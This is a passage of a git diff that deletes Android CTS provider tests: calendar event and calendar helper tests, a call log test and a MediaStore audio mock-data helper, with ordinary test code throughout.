- ContentValues values = new ContentValues();
-
- final long calendarId = createAndVerifyCalendar(account, seed++, null);
- final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
- final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
- // verify when ownerAccount != organizer && isOrganizer IS NULL
- cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
- cursor.moveToFirst();
- isOrganizer = cursor.getInt(0);
- cursor.close();
- assertEquals("isOrganizer should be 0 if ownerAccount != organizer", 0, isOrganizer);
-
- // verify when ownerAccount == account_name && isOrganizer IS NULL
- values.clear();
- values.put(Events.ORGANIZER, CalendarHelper.generateCalendarOwnerEmail(account));
- mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
- cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
- cursor.moveToFirst();
- isOrganizer = cursor.getInt(0);
- cursor.close();
- assertEquals("isOrganizer should be 1 if ownerAccount == organizer", 1, isOrganizer);
-
- // verify isOrganizer IS NOT NULL
- values.clear();
- values.put(Events.IS_ORGANIZER, SOME_ARBITRARY_INT);
- mContentResolver.update(uri, values, null, null);
- cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
- cursor.moveToFirst();
- isOrganizer = cursor.getInt(0);
- cursor.close();
- assertEquals(
- "isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isOrganizer);
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- }
-
- /**
- * Tests correct behavior of Events.uid2445 column
- */
- @MediumTest
- public void testEventsUid2445() {
- String account = "ec_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- final String uid = "uid_123";
- Cursor cursor;
- ContentValues values = new ContentValues();
- final long calendarId = createAndVerifyCalendar(account, seed++, null);
- final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
- final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
- // Verify default is null
- cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
- cursor.moveToFirst();
- assertTrue(cursor.isNull(0));
- cursor.close();
-
- // Write column value and read back
- values.clear();
- values.put(Events.UID_2445, uid);
- mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
- cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
- cursor.moveToFirst();
- assertFalse(cursor.isNull(0));
- assertEquals("Column uid_2445 has unexpected value.", uid, cursor.getString(0));
-
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- }
-
- @MediumTest
- public void testMutatorSetCorrectly() {
- String account = "ec_account";
- String packageName = "android.provider.cts";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- String mutator;
- Cursor cursor;
- ContentValues values = new ContentValues();
- final long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Verify mutator is set to the package, via:
- // Create:
- final long eventId = createAndVerifyEvent(account, seed, calendarId, false, null);
- final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
- cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
- cursor.moveToFirst();
- mutator = cursor.getString(0);
- cursor.close();
- assertEquals(packageName, mutator);
-
- // Edit:
- // First clear the mutator column
- values.clear();
- values.putNull(Events.MUTATORS);
- mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
- cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
- cursor.moveToFirst();
- mutator = cursor.getString(0);
- cursor.close();
- assertNull(mutator);
- // Now edit the event and verify the mutator column
- values.clear();
- values.put(Events.TITLE, "New title");
- mContentResolver.update(uri, values, null, null);
- cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
- cursor.moveToFirst();
- mutator = cursor.getString(0);
- cursor.close();
- assertEquals(packageName, mutator);
-
- // Clean up the event
- assertEquals(1, EventHelper.deleteEventAsSyncAdapter(mContentResolver, uri, account));
-
- // Delete:
- // First create as sync adapter
- final long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, null);
- final Uri uri2 = ContentUris.withAppendedId(Events.CONTENT_URI, eventId2);
- // Now delete the event and verify
- values.clear();
- values.put(Events.MUTATORS, packageName);
- removeAndVerifyEvent(uri2, values, account);
-
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Acquires the set of instances that appear between the specified start and end points.
- *
- * @param timeZone Time zone to use when parsing startWhen and endWhen
- * @param startWhen Start date/time, in RFC 3339 format
- * @param endWhen End date/time, in RFC 3339 format
- * @param projection Array of desired column names
- * @return Cursor with instances (caller should close when done)
- */
- private Cursor getInstances(String timeZone, String startWhen, String endWhen,
- String[] projection, long[] calendarIds) {
- Time startTime = new Time(timeZone);
- startTime.parse3339(startWhen);
- long startMillis = startTime.toMillis(false);
-
- Time endTime = new Time(timeZone);
- endTime.parse3339(endWhen);
- long endMillis = endTime.toMillis(false);
-
- // We want a list of instances that occur between the specified dates. Use the
- // "instances/when" URI.
- Uri uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_URI,
- startMillis + "/" + endMillis);
-
- String where = null;
- for (int i = 0; i < calendarIds.length; i++) {
- if (i > 0) {
- where += " OR ";
- } else {
- where = "";
- }
- where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
- }
- Cursor instances = mContentResolver.query(uri, projection, where, null,
- projection[0] + " ASC");
-
- return instances;
- }
-
- /**
- * Acquires the set of instances that appear between the specified start and end points
- * that match the search terms.
- *
- * @param timeZone Time zone to use when parsing startWhen and endWhen
- * @param startWhen Start date/time, in RFC 3339 format
- * @param endWhen End date/time, in RFC 3339 format
- * @param search A collection of tokens to search for. The columns searched are
- * hard-coded in the provider (currently title, description, location, attendee
- * name, attendee email).
- * @param searchByDay If set, adjust start/end to calendar day boundaries.
- * @param projection Array of desired column names
- * @return Cursor with instances (caller should close when done)
- */
- private Cursor getInstancesSearch(String timeZone, String startWhen, String endWhen,
- String search, boolean searchByDay, String[] projection, long[] calendarIds) {
- Time startTime = new Time(timeZone);
- startTime.parse3339(startWhen);
- long startMillis = startTime.toMillis(false);
-
- Time endTime = new Time(timeZone);
- endTime.parse3339(endWhen);
- long endMillis = endTime.toMillis(false);
-
- Uri uri;
- if (searchByDay) {
- // start/end are Julian day numbers rather than time in milliseconds
- int julianStart = Time.getJulianDay(startMillis, startTime.gmtoff);
- int julianEnd = Time.getJulianDay(endMillis, endTime.gmtoff);
- uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_BY_DAY_URI,
- julianStart + "/" + julianEnd + "/" + search);
- } else {
- uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_URI,
- startMillis + "/" + endMillis + "/" + search);
- }
-
- String where = null;
- for (int i = 0; i < calendarIds.length; i++) {
- if (i > 0) {
- where += " OR ";
- } else {
- where = "";
- }
- where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
- }
- // We want a list of instances that occur between the specified dates and that match
- // the search terms.
-
- Cursor instances = mContentResolver.query(uri, projection, where, null,
- projection[0] + " ASC");
-
- return instances;
- }
-
- /** debug -- dump instances cursor */
- private static void dumpInstances(Cursor instances, String timeZone, String msg) {
- Log.d(TAG, "Instances (" + msg + ")");
-
- int posn = instances.getPosition();
- instances.moveToPosition(-1);
-
- //Log.d(TAG, "+++ instances has " + instances.getCount() + " rows, " +
- // instances.getColumnCount() + " columns");
- while (instances.moveToNext()) {
- long beginMil = instances.getLong(0);
- Time beginT = new Time(timeZone);
- beginT.set(beginMil);
- String logMsg = "--> begin=" + beginT.format3339(false) + " (" + beginMil + ")";
- for (int i = 2; i < instances.getColumnCount(); i++) {
- logMsg += " [" + instances.getString(i) + "]";
- }
- Log.d(TAG, logMsg);
- }
- instances.moveToPosition(posn);
- }
-
-
- /**
- * Counts the number of instances that appear between the specified start and end times.
- */
- private int getInstanceCount(String timeZone, String startWhen, String endWhen,
- long[] calendarIds) {
- Cursor instances = getInstances(timeZone, startWhen, endWhen,
- new String[] { Instances._ID }, calendarIds);
- int count = instances.getCount();
- instances.close();
- return count;
- }
-
- /**
- * Deletes an event as app and sync adapter which removes it from the db and
- * verifies after each.
- *
- * @param eventUri The uri for the event to delete
- * @param accountName TODO
- */
- private void removeAndVerifyEvent(Uri eventUri, ContentValues eventValues, String accountName) {
- // Delete event
- EventHelper.deleteEvent(mContentResolver, eventUri, eventValues);
- // Verify
- verifyEvent(eventValues, ContentUris.parseId(eventUri));
- // Delete as sync adapter
- assertEquals(1,
- EventHelper.deleteEventAsSyncAdapter(mContentResolver, eventUri, accountName));
- // Verify
- Cursor c = EventHelper.getEventByUri(mContentResolver, eventUri);
- assertEquals(0, c.getCount());
- c.close();
- }
-
- /**
- * Creates an event on the given calendar and verifies it.
- *
- * @param account
- * @param seed
- * @param calendarId
- * @param asSyncAdapter
- * @param values optional pre created set of values; will have several new entries added
- * @return the _id for the new event
- */
- private long createAndVerifyEvent(String account, int seed, long calendarId,
- boolean asSyncAdapter, ContentValues values) {
- // Create an event
- if (values == null) {
- values = EventHelper.getNewEventValues(account, seed, calendarId, asSyncAdapter);
- }
- Uri insertUri = Events.CONTENT_URI;
- if (asSyncAdapter) {
- insertUri = asSyncAdapter(insertUri, account, CTS_TEST_TYPE);
- }
- Uri uri = mContentResolver.insert(insertUri, values);
- assertNotNull(uri);
-
- // Verify
- EventHelper.addDefaultReadOnlyValues(values, account, asSyncAdapter);
- long eventId = ContentUris.parseId(uri);
- assertTrue(eventId >= 0);
-
- verifyEvent(values, eventId);
- return eventId;
- }
-
- /**
- * Updates an event, and verifies that the updates took.
- */
- private void updateAndVerifyEvent(String account, long calendarId, long eventId,
- boolean asSyncAdapter, ContentValues updateValues) {
- Uri uri = Uri.withAppendedPath(Events.CONTENT_URI, String.valueOf(eventId));
- if (asSyncAdapter) {
- uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- }
- int count = mContentResolver.update(uri, updateValues, null, null);
-
- // Verify
- assertEquals(1, count);
- verifyEvent(updateValues, eventId);
- }
-
- /**
- * Creates an exception to a recurring event, and verifies it.
- * @param account The account to use.
- * @param originalEventId The ID of the original event.
- * @param values Values for the exception; must include originalInstanceTime.
- * @return The _id for the new event.
- */
- private long createAndVerifyException(String account, long originalEventId,
- ContentValues values, boolean asSyncAdapter) {
- // Create the exception
- Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
- String.valueOf(originalEventId));
- if (asSyncAdapter) {
- uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- }
- Uri resultUri = mContentResolver.insert(uri, values);
- assertNotNull(resultUri);
- long eventId = ContentUris.parseId(resultUri);
- assertTrue(eventId >= 0);
- return eventId;
- }
-
- /**
- * Deletes an exception to a recurring event.
- * @param account The account to use.
- * @param eventId The ID of the original recurring event.
- * @param excepId The ID of the exception event.
- * @return The number of rows deleted.
- */
- private int deleteException(String account, long eventId, long excepId) {
- Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
- eventId + "/" + excepId);
- uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- return mContentResolver.delete(uri, null, null);
- }
-
- /**
- * Add some sample attendees to an event.
- */
- private void addAttendees(String account, long eventId, int seed) {
- assertTrue(eventId >= 0);
- AttendeeHelper.addAttendee(mContentResolver, eventId,
- "Attender" + seed,
- CalendarHelper.generateCalendarOwnerEmail(account),
- Attendees.ATTENDEE_STATUS_ACCEPTED,
- Attendees.RELATIONSHIP_ORGANIZER,
- Attendees.TYPE_NONE);
- seed++;
-
- AttendeeHelper.addAttendee(mContentResolver, eventId,
- "Attender" + seed,
- "attender" + seed + "@example.com",
- Attendees.ATTENDEE_STATUS_TENTATIVE,
- Attendees.RELATIONSHIP_NONE,
- Attendees.TYPE_NONE);
- }
-
- /**
- * Add some sample reminders to an event.
- */
- private void addReminders(String account, long eventId, int seed) {
- ReminderHelper.addReminder(mContentResolver, eventId, seed * 5, Reminders.METHOD_ALERT);
- }
-
- /**
- * Creates and removes an event that covers a specific range of dates. Call this to
- * cause the provider to expand the CalendarMetaData min/max values to include the range.
- * Useful when you want to see the provider expand the instances as the events are added.
- */
- private void expandInstanceRange(String account, long calendarId, String testStart,
- String testEnd, String timeZone) {
- int seed = 0;
-
- // TODO: this should use an UNTIL rule based on testEnd, not a COUNT
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed,
- calendarId, true, testStart, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=100");
-
- /*
- * Some of the helper functions modify "eventValues", so we want to make sure we're
- * passing a copy of anything we want to re-use.
- */
- long eventId = createAndVerifyEvent(account, seed, calendarId, true,
- new ContentValues(eventValues));
- assertTrue(eventId >= 0);
-
- String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "prep-create");
- }
- assertEquals("initial recurrence instance count", 3, instances.getCount());
- instances.close();
-
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
- removeAndVerifyEvent(eventUri, new ContentValues(eventValues), account);
-
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "prep-clear");
- }
- assertEquals("initial recurrence instance count", 0, instances.getCount());
- instances.close();
-
- }
-
- /**
- * Inserts a new calendar with the given account and seed and verifies it.
- *
- * @param account The account to add the calendar to
- * @param seed A number to use to generate the values
- * @return the created calendar's id
- */
- private long createAndVerifyCalendar(String account, int seed, ContentValues values) {
- // Create a calendar
- if (values == null) {
- values = CalendarHelper.getNewCalendarValues(account, seed);
- }
- Uri syncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
- Uri uri = mContentResolver.insert(syncUri, values);
- long calendarId = ContentUris.parseId(uri);
- assertTrue(calendarId >= 0);
-
- verifyCalendar(account, values, calendarId, 1);
- return calendarId;
- }
-
- /**
- * Deletes a given calendar and verifies no calendars remain on that
- * account.
- *
- * @param account
- * @param id
- */
- private void removeAndVerifyCalendar(String account, long id) {
- // TODO Add code to delete as app and sync adapter and test both
-
- // Delete
- assertEquals(1, CalendarHelper.deleteCalendarById(mContentResolver, id));
-
- // Verify
- Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
- assertEquals(0, c.getCount());
- c.close();
- }
-
- /**
- * Check all the fields of a calendar contained in values + id.
- *
- * @param account the account of the calendar
- * @param values the values to check against the db
- * @param id the _id of the calendar
- * @param expectedCount the number of calendars expected on this account
- */
- private void verifyCalendar(String account, ContentValues values, long id, int expectedCount) {
- // Verify
- Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
- assertEquals(expectedCount, c.getCount());
- assertTrue(c.moveToFirst());
- while (c.getLong(0) != id) {
- assertTrue(c.moveToNext());
- }
- for (String key : values.keySet()) {
- int index = c.getColumnIndex(key);
- assertTrue("Key " + key + " not in projection", index >= 0);
- assertEquals(key, values.getAsString(key), c.getString(index));
- }
- c.close();
- }
-
- /**
- * Creates a new _sync_state entry and verifies the contents.
- */
- private long createAndVerifySyncState(String account, ContentValues values) {
- assertNotNull(values);
- Uri syncUri = asSyncAdapter(SyncState.CONTENT_URI, account, CTS_TEST_TYPE);
- Uri uri = mContentResolver.insert(syncUri, values);
- long syncStateId = ContentUris.parseId(uri);
- assertTrue(syncStateId >= 0);
-
- verifySyncState(account, values, syncStateId);
- return syncStateId;
-
- }
-
- /**
- * Removes the _sync_state entry with the specified id, then verifies that it's gone.
- */
- private void removeAndVerifySyncState(String account) {
- assertEquals(1, SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true));
-
- // Verify
- Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
- try {
- assertEquals(0, c.getCount());
- } finally {
- if (c != null) {
- c.close();
- }
- }
- }
-
- /**
- * Check all the fields of a _sync_state entry contained in values + id. This assumes
- * a single _sync_state has been created on the given account.
- */
- private void verifySyncState(String account, ContentValues values, long id) {
- // Verify
- Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
- try {
- assertEquals(1, c.getCount());
- assertTrue(c.moveToFirst());
- assertEquals(id, c.getLong(0));
- for (String key : values.keySet()) {
- int index = c.getColumnIndex(key);
- if (key.equals(SyncState.DATA)) {
- // TODO: can't compare as string, so compare as byte[]
- } else {
- assertEquals(key, values.getAsString(key), c.getString(index));
- }
- }
- } finally {
- if (c != null) {
- c.close();
- }
- }
- }
-
-
- /**
- * Special version of the test runner that does some remote Emma coverage housekeeping.
- */
- // TODO: find if this is still used and if so convert to AndroidJUnitRunner framework
- public static class CalendarEmmaTestRunner extends android.test.InstrumentationTestRunner {
- private static final Uri EMMA_CONTENT_URI =
- Uri.parse("content://" + CalendarContract.AUTHORITY + "/emma");
- private ContentResolver mContentResolver;
-
- @Override
- public void onStart() {
- mContentResolver = getTargetContext().getContentResolver();
-
- ContentValues values = new ContentValues();
- values.put("cmd", "start");
- mContentResolver.insert(EMMA_CONTENT_URI, values);
-
- super.onStart();
- }
-
- @Override
- public void finish(int resultCode, Bundle results) {
- ContentValues values = new ContentValues();
- values.put("cmd", "stop");
- values.put("outputFileName",
- Environment.getExternalStorageDirectory() + "/calendar-provider.ec");
- mContentResolver.insert(EMMA_CONTENT_URI, values);
- super.finish(resultCode, results);
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/CallLogTest.java
deleted file mode 100644
index 77985c6..0000000
--- a/tests/tests/provider/src/android/provider/cts/CallLogTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.provider.CallLog;
-import android.test.InstrumentationTestCase;
-
-public class CallLogTest extends InstrumentationTestCase {
-
- private static final String TEST_NUMBER = "5625698388";
- private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
-
- public void testGetLastOutgoingCall() {
- // Clear call log and ensure there are no outgoing calls
- Context context = getInstrumentation().getContext();
- ContentResolver resolver = context.getContentResolver();
- resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
-
- waitUntilConditionIsTrueOrTimeout(
- new Condition() {
- @Override
- public Object expected() {
- return "";
- }
-
- @Override
- public Object actual() {
- return CallLog.Calls.getLastOutgoingCall(context);
- }
- },
- CONTENT_RESOLVER_TIMEOUT_MS,
- "getLastOutgoingCall did not return empty after CallLog was cleared"
- );
-
- // Add a single call and verify it returns as last outgoing call
- ContentValues values = new ContentValues();
- values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
- values.put(CallLog.Calls.TYPE, Integer.valueOf(CallLog.Calls.OUTGOING_TYPE));
- values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
- values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
-
- resolver.insert(CallLog.Calls.CONTENT_URI, values);
-
- waitUntilConditionIsTrueOrTimeout(
- new Condition() {
- @Override
- public Object expected() {
- return TEST_NUMBER;
- }
-
- @Override
- public Object actual() {
- return CallLog.Calls.getLastOutgoingCall(context);
- }
- },
- CONTENT_RESOLVER_TIMEOUT_MS,
- "getLastOutgoingCall did not return " + TEST_NUMBER + " as expected"
- );
- }
-
- private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
- String description) {
- final long start = System.currentTimeMillis();
- while (!condition.expected().equals(condition.actual())
- && System.currentTimeMillis() - start < timeout) {
- sleep(50);
- }
- assertEquals(description, condition.expected(), condition.actual());
- }
-
- protected interface Condition {
- Object expected();
- Object actual();
- }
-
- private void sleep(long ms) {
- try {
- Thread.sleep(ms);
- } catch (InterruptedException e) {
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java
deleted file mode 100644
index a3ef607..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java
+++ /dev/null
@@ -1,262 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import junit.framework.Assert;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-import java.io.IOException;
-
-/**
- * This class contains fake data and convenient methods for testing:
- * {@link MediaStore.Audio.Media}
- * {@link MediaStore.Audio.Genres}
- * {@link MediaStore.Audio.Genres.Members}
- * {@link MediaStore.Audio.Playlists}
- * {@link MediaStore.Audio.Playlists.Members}
- * {@link MediaStore.Audio.Albums}
- * {@link MediaStore.Audio.Artists}
- * {@link MediaStore.Audio.Artists.Albums}
- *
- * @see MediaStore_Audio_MediaTest
- * @see MediaStore_Audio_GenresTest
- * @see MediaStore_Audio_Genres_MembersTest
- * @see MediaStore_Audio_PlaylistsTest
- * @see MediaStore_Audio_Playlists_MembersTest
- * @see MediaStore_Audio_ArtistsTest
- * @see MediaStore_Audio_Artists_AlbumsTest
- * @see MediaStore_Audio_AlbumsTest
- */
-@RunWith(AndroidJUnit4.class)
-public class MediaStoreAudioTestHelper {
- public static abstract class MockAudioMediaInfo {
- public abstract ContentValues getContentValues(String volumeName);
-
- public Uri insert(ContentResolver contentResolver, String volumeName) {
- final Uri dirUri = MediaStore.Audio.Media.getContentUri(volumeName);
- final ContentValues values = getContentValues(volumeName);
- contentResolver.delete(dirUri, MediaStore.Audio.Media.DATA + "=?", new String[] {
- values.getAsString(MediaStore.Audio.Media.DATA)
- });
-
- final Uri itemUri = contentResolver.insert(dirUri, values);
- Assert.assertNotNull(itemUri);
- return itemUri;
- }
-
- public int delete(ContentResolver contentResolver, Uri uri) {
- return contentResolver.delete(uri, null, null);
- }
- }
-
- public static class Audio1 extends MockAudioMediaInfo {
- private Audio1() {
- }
-
- private static Audio1 sInstance = new Audio1();
-
- public static Audio1 getInstance() {
- return sInstance;
- }
-
- public static final int IS_RINGTONE = 0;
- public static final int IS_NOTIFICATION = 0;
- public static final int IS_ALARM = 0;
- public static final int IS_MUSIC = 1;
- public static final int YEAR = 1992;
- public static final int TRACK = 1;
- public static final int DURATION = 340000;
- public static final String COMPOSER = "Bruce Swedien";
- public static final String ARTIST = "Michael Jackson";
- public static final String ALBUM = "Dangerous";
- public static final String TITLE = "Jam";
- public static final int SIZE = 2737870;
- public static final String MIME_TYPE = "audio/x-mpeg";
- public static final String FILE_NAME = "Jam.mp3";
- public static final String DISPLAY_NAME = FILE_NAME;
- public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
- public static final String GENRE = "POP";
-
- @Override
- public ContentValues getContentValues(String volumeName) {
- ContentValues values = new ContentValues();
- try {
- final File data;
- if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
- data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
- } else {
- data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
- }
- values.put(Media.DATA, data.getAbsolutePath());
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
- values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
- values.put(Media.MIME_TYPE, MIME_TYPE);
- values.put(Media.SIZE, SIZE);
- values.put(Media.TITLE, TITLE);
- values.put(Media.ALBUM, ALBUM);
- values.put(Media.ARTIST, ARTIST);
- values.put(Media.COMPOSER, COMPOSER);
- values.put(Media.DURATION, DURATION);
- values.put(Media.TRACK, TRACK);
- values.put(Media.YEAR, YEAR);
- values.put(Media.IS_MUSIC, IS_MUSIC);
- values.put(Media.IS_ALARM, IS_ALARM);
- values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
- values.put(Media.IS_RINGTONE, IS_RINGTONE);
- return values;
- }
- }
-
- public static class Audio2 extends MockAudioMediaInfo {
- private Audio2() {
- }
-
- private static Audio2 sInstance = new Audio2();
-
- public static Audio2 getInstance() {
- return sInstance;
- }
-
- public static final int IS_RINGTONE = 1;
- public static final int IS_NOTIFICATION = 0;
- public static final int IS_ALARM = 0;
- public static final int IS_MUSIC = 0;
- public static final int YEAR = 1992;
- public static final int TRACK = 1001;
- public static final int DURATION = 338000;
- public static final String COMPOSER = "Bruce Swedien";
- public static final String ARTIST =
- "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
- public static final String ALBUM =
- "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
- public static final String TITLE = "Jam";
- public static final int SIZE = 2737321;
- public static final String MIME_TYPE = "audio/x-mpeg";
- public static final String FILE_NAME = "Jam_live.mp3";
- public static final String DISPLAY_NAME = FILE_NAME;
- public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
-
- @Override
- public ContentValues getContentValues(String volumeName) {
- ContentValues values = new ContentValues();
- try {
- final File data;
- if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
- data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
- } else {
- data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
- }
- values.put(Media.DATA, data.getAbsolutePath());
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
- values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
- values.put(Media.MIME_TYPE, MIME_TYPE);
- values.put(Media.SIZE, SIZE);
- values.put(Media.TITLE, TITLE);
- values.put(Media.ALBUM, ALBUM);
- values.put(Media.ARTIST, ARTIST);
- values.put(Media.COMPOSER, COMPOSER);
- values.put(Media.DURATION, DURATION);
- values.put(Media.TRACK, TRACK);
- values.put(Media.YEAR, YEAR);
- values.put(Media.IS_MUSIC, IS_MUSIC);
- values.put(Media.IS_ALARM, IS_ALARM);
- values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
- values.put(Media.IS_RINGTONE, IS_RINGTONE);
- return values;
- }
- }
-
- public static class Audio3 extends Audio1 {
- private Audio3() {
- }
-
- private static Audio3 sInstance = new Audio3();
-
- public static Audio3 getInstance() {
- return sInstance;
- }
-
- @Override
- public ContentValues getContentValues(String volumeName) {
- ContentValues values = super.getContentValues(volumeName);
- values.put(Media.DATA, values.getAsString(Media.DATA) + "_3");
- return values;
- }
- }
-
- public static class Audio4 extends Audio1 {
- private Audio4() {
- }
-
- private static Audio4 sInstance = new Audio4();
-
- public static Audio4 getInstance() {
- return sInstance;
- }
-
- @Override
- public ContentValues getContentValues(String volumeName) {
- ContentValues values = super.getContentValues(volumeName);
- values.put(Media.DATA, values.getAsString(Media.DATA) + "_4");
- return values;
- }
- }
-
- public static class Audio5 extends Audio1 {
- private Audio5() {
- }
-
- private static Audio5 sInstance = new Audio5();
-
- public static Audio5 getInstance() {
- return sInstance;
- }
-
- @Override
- public ContentValues getContentValues(String volumeName) {
- ContentValues values = super.getContentValues(volumeName);
- values.put(Media.DATA, values.getAsString(Media.DATA) + "_5");
- return values;
- }
- }
-
- @Test
- public void testStub() {
- // No-op test here to keep atest happy
- }
-
- // These constants are not part of the public API
- public static final String EXTERNAL_VOLUME_NAME = "external";
- public static final String INTERNAL_VOLUME_NAME = "internal";
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
deleted file mode 100644
index 5590a6d..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
+++ /dev/null
@@ -1,168 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.provider.MediaStore;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
